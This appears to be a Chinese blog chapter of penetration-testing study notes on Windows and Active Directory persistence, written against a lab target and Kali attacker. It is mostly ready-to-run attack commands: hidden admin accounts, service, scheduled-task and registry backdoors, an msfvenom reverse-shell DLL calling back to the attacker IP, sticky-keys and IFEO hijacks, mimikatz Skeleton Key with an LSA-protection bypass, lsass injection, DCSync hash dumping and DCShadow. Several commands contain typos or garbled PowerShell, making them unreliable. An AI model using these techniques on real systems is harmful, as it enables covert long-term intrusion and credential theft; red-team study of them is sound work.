第六部分-Windows内网权限持久化

前言

  • 参考自Nu1L的《内网渗透体系建设》
  • 以下内容仅用于合法学习,不得用于非法行为,后果自负
  • 本人目前已不用下面涉及到的IP网段和IP。
  • 以下操作大多是在虚拟机中进行的

主要涉及到的IP与主机:

IP 主机
192.168.40.10 win2012(靶机)
192.168.40.146 kali(攻击机)

Windows内网权限持久化的方法大致有:创建系统服务、利用计划任务、滥用系统启动项或注册表、映像劫持、替换或劫持合法代码等。

6.1 常见系统后门技术

6.1.1 创建影子账户

影子账户即隐藏的账户,无论通过"计算机管理"还是命令行查询都无法看到,只能在注册表中找到其信息。一般是创建具有管理员权限的影子账户,在主机上实现权限维持。下面是创建影子账户的方法:

① 创建一个名为"Hacker$"的账户

net user Hacker10$ Hacker@123 /add # 账户名为Hacker$,密码为Hacker@123,$表示该用户为隐藏用户

image-20231023113226307

通过命令行无法查到:

net user

image-20231023113425978

但是通过计算机管理(compmgmt.msc)可以看到:

image-20231023113520537

此时Hacker10$为标准用户,为了使其拥有管理员权限,需要修改注册表:

​ ② 在注册表HKEY_LOCAL_MACHINE\SAM\SAM,单击右键,在弹出的快捷菜单中选择“权限”命令,将Administrator用户的权限设置为“完全控制”。如下图:

image-20231023145803164

③ 在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 处选择Administrator用户,在左侧找到与右边显示的键值的类型“0xlf4”相同的目录名,如下图:

在完成了第②步后重新打开注册表编辑器,即可出现HKEY_LOCAL_MACHINE\SAM\SAM\Domains目录

-

复制000001F4表项的F属性的值

image-20231023150413406

④ 以相同方法找到与隐藏账户Hacker10$相应的目录,将复制的000001F4表项中的F属性值粘贴到000003EF(隐藏账户Hacker10$对应的目录)表项的F属性值处,并确认

image-20231023150837317

粘贴后:

image-20231023150924295

以上过程其实是Hacker10$用户劫持了Administator用户的RID,从而使Hacker10$用户获得Administrator用户的权限

RID:

在Windows操作系统中,RID代表"Relative Identifier",即相对标识符。RID是Windows中用于唯一标识用户、组和计算机账户的一个数字。每个安全主体(如用户或组)在Windows的安全标识符(SID)中都包含一个RID部分

⑤ 分别选中注册表项"Hacker10$"和"000003EF"并导出

image-20231023151335875

image-20231023151417562

同样的,导出“Hacker$”:

image-20231023151528582

然后执行命令:

net user Hacker10$ /del

image-20231023151646908

⑥ 重新打开注册表,将刚才导出的两个注册表项导入注册表中即可,如下图:

image-20231023151852945

至此,真正的影子账户Hacker10$就创建好了,无论是查看本地用户和组,还是通过命令行查询都看不到该账户,只有在注册表中才能查看该账户的信息

image-20231023152223563

image-20231023152356001

image-20231023152502003

6.1.2 系统服务后门

对于启动类型为“自动”的系统服务,测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,在系统或服务重启时,可以重新获得对目标主机的控制权。不过,需要拥有管理员权限。

1.创建系统服务

执行:

sc create Backdoor binpath= "cmd.exe /k C:\Windows\System32\reverse_tcp.exe" start="auto" obj="LocalSystem"
# obj:指定服务运行的权限;

2.利用现有的系统服务

可以通过"sc config"命令修改服务的binpath选项,也可以尝试修改注册表的ImagePath键,二者都直接指定了相应服务的启动时运行的二进制文件。相关利用方法在第4章提及

3.利用svchost.exe启动服务

svchost.exe(服务主机)是 Windows 系统中的一个进程,允许操作系统以进程的形式运行多个 Windows 服务。每个 svchost.exe 实例通常负责不同的服务集合,这样可以有效管理资源和提高系统稳定性。

① 制作一个DLL文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhsot=192.168.40.146 lport=1234 -f dll -o reverse_tcp.dll

② 将生成的DLL上传到System32目录并执行:(安装并配置恶意服务)

# 创建名为Backdoor的服务,并以schost加载的方式启动,服务分组为netsvc
sc create Backdoor binpath= "C:\Windows\System32\svchost.exe -k netsvc" start=auto obj= LocalSystem
# 将Backdoor服务启动时加载的DLL为reverse_tcp.dll
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\reverse_tcp.dll"
# 配置服务描述
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor /v Description /t REG_SZ /d "Windows xxx Service"
# 配置服务显示名称
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor /v DisplayName /t REG_SZ /d "Backdoor"
# 创建服务新分组netsvc,并将Backdoor服务添加进去
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Backdoor

当系统重启时,Svchost以system权限加载恶意服务,目标主机将重新上线

同样的,在攻击机上做好监听

6.1.3 计划任务后门

​ 通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行测试人员预先准备的后门程序

schtasks /Create /TN Backdoor /SC daily /ST 08:00 /mo 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F
# 创建一个名为Backdoor的计划任务,并在每天08:0时以SYSTEM权限运行exe病毒

如果要以SYSTEM权限运行计划任务,就需要有管理员级别的权限。

创建一个名为Backdoor的计划任务,每60秒运行一次:

schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F

在“计算机管理”中有“计划任务程序库”,其中存储了计算机上所有的计划任务,如下图:

image-20231023171030471

为了增强隐蔽性,在创建计划任务后门时应当遵守存储规范:执行:

schtasks /Create /TN \Microsoft\Windows\AppTask\AppRun /SC daily /ST 08:00 /MO 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F

将在\Microsoft\Windows\AppTask路径下创建一个名为“AppRun”的计划任务后门

6.1.4 启动项/注册表键后门

可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。

1.系统启动文件夹

Windows有两种常见的启动文件夹:

# 位于以下目录中的程序将在指定用户登录时启动
C:\Users\Star\AppData\Roaming\Microsoft\Windows\Start# 在win11上不存在
C:\Users\Star\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # win11为这个
# 位于以下目录中的程序将在所有用户登录时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup # 在win11上存在

2.运行键(Run Keys)

Windows有很多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载特定的DLL文件。当用户登录时,系统会依次检查位于注册表运行键中的程序,并在用户登录的上下文中启用。Windows默认创建以下运行键,如果修改HKEY_LOCAL_MACHINE下的运行键,需要拥有管理员权限的权限。

# 以下注册表中的程序将在当前用户登录时启动:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 以下注册表中的程序将在所有用户登录时启动:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

执行以下命令,将在注册表运行键中添加一个名为“Backdoor”的键,并将该键值指向后门程序的绝对路径

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\reverse_tcp.exe"

当用户重新登录时,目标主机将重新上线

3.Winlogon Helper

Winlogon是Windows系统的组件,用于处理各种与用户相关的行为。注册表中的一些键值定义了在Windows登录期间会启动哪些进程。测试人员可以滥用此类注册表键值,使Winlogon在用户登录时执行恶意程序。

image-20231024091125055

# 指定用户登录时执行的用户初始化程序,默认是userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
# 指定Windows身份验证期间执行的程序,默认是explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

执行:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\System32\userinit.exe,reverse_tcp.exe" /f
# 注意,还是要保留userinit.exe这个文件的路径

然后在用户登录时启动,能够上线。

6.1.5 Port Monitors

打印后台处理服务(Print Spooler)负责管理Windows系统的的打印工作

攻击流程:

​ ① 通过msf生成64位的DLL

​ ② 将DLL文件上传到C:\Windows\System32\目录,并执行命令,通过编辑注册表安装一个端口监视器

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"

当重启时,Print Spooler服务在启动时会读取Monitors注册表项的所有子键,并以SYSTEM权限加载Driver键值所指定的DLL文件。

6.2事件触发执行

各种操作系统都具有监视和订阅事件的机制,如登录、启动程序或其他用户活动时运行特定的应用程序或代码等。

6.2.1 利用WMI事件订阅

需要拥有管理员权限

1.手动利用

下面通过powershell部署一个事件订阅,可以在每次系统启动后的5分钟内执行后门程序:

# 创建名为TestFilter的事件过滤器
$EventFilterArgs = @{
EventNamespace = ' root/cimv2 '
Name = "TestFilter"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'win32 PerfFormattedData PerfOS_ System' AND TargetInstance.
SystemUpTime >= 240 AND TargetInstance. SystemUpTime < 325"
QueryLanguage = 'WQL'
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class - EventFilter
- Arguments $EventFilterArgs
# ========创建一 个名为TestConsumer的事件消费者,在指定事件发生时执行后门程序========
$CommandLineEventConsumerArgs = @{
Name = "TestConsumer"
CommandLineTemplate = "cmd.exe /k C:Windows\System32\reverse_ tcp.exe"
$EventConsumer = Set-Wmi Instance -Namespace root\subscription -Class
CommandLineEventConsumer -Ar guments SCommandL ineEventConsumerArgs

执行上面命令后,目标主机将在启动后的5分钟内重新上线

2.辅助工具

前面曾通过Sharp-WMIEvent在远程主机上执行系统命令,该工具同样包含权限持久化功能。

在目标主机上执行以下命令,运行Sharp-WMIEvent:

Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe" /c C:\Windows\System32\reverse_tcp.exe

这将在目标主机上部署一个随机命名的永久事件订阅,每当用户登录时都将执行恶意程序。

3.MSF

msf框架内置了一个通过WMI事件订阅在目标系统上实现持久化的模块,即exploit\windows\local\wmi_persistence,可用于特定事件触发时在系统上执行任意的攻击载荷

use exploit/windows/local/wmi_persistence
show options

image-20231024094147437

6.2.2 利用系统辅助功能

Windows系统包含了很多供用户通过组合键启动时的辅助功能,如下:

程序 功能 组合
sethc.exe 粘滞键 连按5次shift键
magnify.exe 放大镜 win + "+"
utilman.exe 实用程序 win + U
osk.exe 屏幕键盘 win + Ctrl + O
displayswitch.exe 屏幕扩展 win + P
atbroker.exe 辅助管理工具
narrator.exe 讲述者 win + ctrl + enter

其中,最常用的是sethc.exe,测试人员将cmd.exe伪装成sethc.exe,然后在远程桌面登录屏幕连按5次shift键,即可获得一个命令行窗口,实现未授权访问,需要有管理员权限。

手动利用

为了对C:\Windows\System32目录下的文件拥有修改和写入权限,需要先通过令牌窃取提升至TrustedInstaller权限

获得TrustedInstaller权限后,执行以下命令即可:

cd C:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe  # 将一个cmd.exe副本伪装成sethc.exe

此时,在目标主机的远程登录屏幕中连按5次shift键,即可获取一个命令行窗口,并且为SYSTEM权限。

2.RDP劫持

通过粘滞键等系统辅助功能创建的后门以SYSTEM权限运行,测试人员可以在获得的命令行中执行RDP劫持

6.2.3 IFEO注入

IFEO(Image File Execution Options)是Windows的一个注册表项,路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在Windows NT系统时,IFEO原本是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO使开发人员能够将调试器附加到应用程序。

1.Debugger

​ 当用户启动计算机的程序后,系统会在注册表的IEFO中查询所有的程序子键,如果存在与该程序名称相同的子键,就读取对应子键的“Debugger”键值。如果该键值未被设置,那就不做处理,否则就直接用该键值所指定的程序路径来代替原始的程序。

​ 通过编辑“Debugger”键,测试人员可以通过修改注册表的方式创建粘滞键后门,而不需获取TrustedInstaller权限。

​ 在靶机上执行:

reg add "NKLM\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"

连按5次shift即可弹出命令行窗口

2. GlobalFlag

IFEO还可以在指定程序默认退出时启动任意监控程序,需要通过设置:

# 启动对记事本进程的静默退出监视
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# 启动Windows错误报告进程WerFault.exe,将成为reverse_tcp.exe的父进程
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
# 将监视器进程设为reverse_tcp.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\reverse_tcp.exe"  

当用户打开记事本(notepad.exe)时,程序正常启动。当用户关闭记事本或相关进程被杀死后,将在WerFault进程中创建子进程以运行后门程序reverse_tcp.exe

6.2.4 利用屏幕保护程序

不需要管理员权限,标准用户权限即可

屏幕保护是Windows系统的一项功能,可以在用户一段时间不活动后播放屏幕消息或图形动画,屏幕保护程序由.scr扩展名的可执行文件组成。注册表项HKEY_CURRENT\Control Panel\Desktop下存储了用来设置屏幕保护程序的键值,如下表:

键名 说明
SCRNSAVE.EXE 设置屏幕保护程序路径,指向.scr可执行文件
ScreenSaveActive 设置是否启用,1为启用
ScreenSaverIsSecure 设置是否需要密码解锁,设置0表示不需要密码
ScreenSaveTimeOut 设置执行屏幕保护之前用户不活动的超时

可以修改屏幕保护程序的执行路径(即scrnsave.exe键的值),当触发屏幕保护时执行自定义的后门程序

# 将触发屏幕保护时执行的程序设为自定义的恶意程序,这里的程序以.scr或.exe均可
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Marcus\reverse_tcp.scr"
# 启用屏幕保护
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1
# 设置不需要密码解锁
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d "0"
# 将用户不活动的超时设为60秒
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60"

一段时间不活动后,即可上线msf。

注意:除了ScreenSaveActive的值为1外,其他三个键都不存在,所以需要手动创建,并且,触发的恶意程序只能在当前用户的上下文中运行

6.3 常见域后门技术

当获取域控权限后,需要使用域后门技术进行权限维持。

6.3.1 创建Skeleton key域后门

Skeleton key即“万能钥匙”。通过在域控上安装这个Skeleton key,所有域用户账户都可以使用一个相同的密码进行认证,同时保持原有密码仍然有效,该技术通过注入lsass.exe进程实现,创建的Skeleton仅保留在内存中,如果域控重启,它就会失效。需要域管理员级别的权限。

1.常规利用

照样上传mimikatz,执行:

mimikatz.exe "privilege::debug" "misc::skeleton" exit

执行后,将为所有域账户设置一个相同的密码“mimikatz”,从而可以成功登录域控制器

2.缓解措施

微软在2014年添加了LSA(local security authority,本地安全机构)报错策略,用来防止对lsass.exe进程的内存读取和代码注入:

# 开启lsa报错策略
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭Lsa:
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

重启系统后,mimikatz的相关操作都会失败

不过mimikatz可以绕过:

# 需要mimitatz项目中的mimidrv.sys驱动文件
mimikatz命令行下:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

6.3.2 创建DSRM域后门

DSRM(Directory Services Restore Restore Mode,目录服务还原模式)是域控制器的安全模式启动选项,用于使服务器脱机,以进行紧急维护。

在域控制器上,DSRM账户实际上是本地管理员账户,并且该账户的密码在创建后几乎很少使用。通过在域控上运行NTDSUtil,可以为DSRM账户修改密码。

# 进入ntdsutil
ntdsutil
# 进入设置DSRM账户密码设置模式
set dsrm password
# 在当前域控制器上恢复DSRM密码
reset password on server null
# 输入新密码
<password>
# 再次输入密码
<password>
# 退出DSRM密码设置模式
q
# 退出ntdsutil
q

可以通过修改DSRM账户的密码,以维持对域控制器权限。

需要:① win2008及以上 ② 域控制管理员

① 读取SAM文件,获取DSRM账户的密码

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

② 修改DSRM模式的登录模式,以允许该账户的远程登录。可以通过编辑DsrmAdminLogonBehavior键值来实现。登录模式:

0 : 默认值,域控制器重启并进入DSRM模式,才可以使用DSRM管理员账户

1 : 只有本地AD,DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:任何情况下都可以使用DSRM管理员账号登录域管理器

故:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f # 将登录模式改为‘2’

然后使用DSRM账户对域控进行哈希传递并成功获取域控权限。

6.3.3 SID History的利用

1.SID 和SID History

SID History是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆岛另一个账户,在域迁移中常常使用。

2.利用方法

在实战中,测试人员可以将域管理员的SID添加到其他域用户的SID History属性中,以此建立一个隐蔽的域后门。

① 传mimikatz,并执行:

# mimikatz> 2.1.0
mimikatz.exe "privilege::debug" "sid:patch" "sid::add /sam:Hacker /new:Administrator" exit
# mimikatz < 2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Hacker ADSAdministrator" exit

② 查看Hacker用户的属性

Import-Module ActiveDirectory
Get-ADUser Hacker -Properties SIDHistory

可以发现其SID History属性值已经与Administrator用户的SID相同,这说明Hacker用户将继承Administrator用户的所有权限。

③ 通过Hacker用户连接到域控,执行“whoami /priv”,发现该用户拥有域管的所有特权。

python3 wmiexec.py HACK-MY/Hacker:Hacker\@123@192.168.40.1 

6.3.4 利用AdminSDHolder打造域后门

1.AdminSDHolder

AdminSDHolder是一个特殊的Active Directory容器对象,位于Domain NC的System容器下

# 枚举受保护的用户
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
  
# 枚举受保护的组
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn

2.利用方法

​ 测试人员可以篡改AdminSDHolder容器的ACL配置。

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Marcus -Rights ALL -Verbose

如果清除Marcus用户对AdminSDHolder的完全控制权限:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Marcus -Rights ALL -Verbose

6.3.5 HOOK PasswordChangeNotify

PasswordChangeNotify是一个Windows API,当重置密码时,Windows会检查新密码是否符合复杂性要求,如果密码符合要求,LSA会调用PasswordChangeNotify函数在系统中同步密码。

# 导入Invoke-ReflectivePEInjection.ps1
Import-Module .\Invoke-ReflectivePEInjection.ps1
# 读取HookPasswordChange.dll并将其注入lsass进程
$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator\HookPasswordChange.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass

6.4 DCSync攻击技术

DCSync 攻击技术是一种针对 Windows 域控制器的攻击方法,攻击者可以通过模拟域控制器的行为,获取用户账户的密码哈希和其他敏感信息。这种攻击主要利用了 Active Directory 的复制功能,允许攻击者在网络中使用权限较低的账户来获取高权限的信息。

6.4.1 利用DCSync导出域内哈希

1.mimikatz下的利用

# 导出域内指定用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /user:hack-my\administrator" exit

# 导出域内所有用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /all" exit
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /all /csv" exit

2.Impacket下的利用

Impacket项目中的secretsdump.py脚本支持通过DCSync技术导出域控中用户哈希。

python secretsdump.py hack-my.com/administrator:Admin\@123@192.168.40.10 -just-dc-user "hack-my\administrator"
# 192.168.40.10为域控的IP

6.4.2 利用DCSync维持域内权限

在获得域控权限后,可以手动位域内标准用户赋予DCSync操作的权限,从而实现隐蔽的域后门。只需要为普通域用户添加两条扩展权限即可:

CN displayName
DS-Replication-Get-Changes Replicating Directory Changes
DS-Replication-Get-Changes-All Replicating Directory Changes All

可以通过PowerView.ps1实现:

Import-Mudule .\PowerView.ps1
# 为域用户Marcus添DCSync权限
 Add-DomainjectAcl -TargetIdentity "DC-hack-my,DC=com" -PrincipalIndentity Marcus -Rights DCSync -Verbose

为域用户Marcus添加DC-Mrarcus

清除域用户DCSync权限消除:

Remove-DomainObjectAcl -TargetIdentity "DC=hack-my,DC=com" -PrincipalIdentity Marcus -Rights DCSync -Verbose

6.4.3 DCShadow

DCShodow同样滥用了域控之间的DRS数据同步机制,但是将DCSync的攻击思路反转,通过创建恶意的域控,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控,以此来创建域后门或获取各种类型的的非法访问渠道。

Windows通过RID来区分用户账户和组,常见的:

RID RID
Administrator 500 Domain Guests 514
Guest 501 Domain Computers 515
Krbtgt 502 Domain Controllers 516
Domain Admins 512 Schema Admins 518
Domain Users 513 Enterprise Admins 519

① 向任意一台主机上传mimikatz,以SYSTEM权限打开命令行,以拥有适当的权限来创建恶意域控

mimikatz.exe "lsadump::dcshadow /object:CN=Marcus,CN=Users,DC=hack-my,DC=com /attribute:primaryGroupID /value:512" exit

② 保持第一个窗口不变,新开一个域管理员权限的命令行窗口:

# 强制触发域赋值,将数据更改推送至合法域控:
mimikatz.exe "lsadump::dcshadow /push" exit
posted @   starme  阅读(69)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示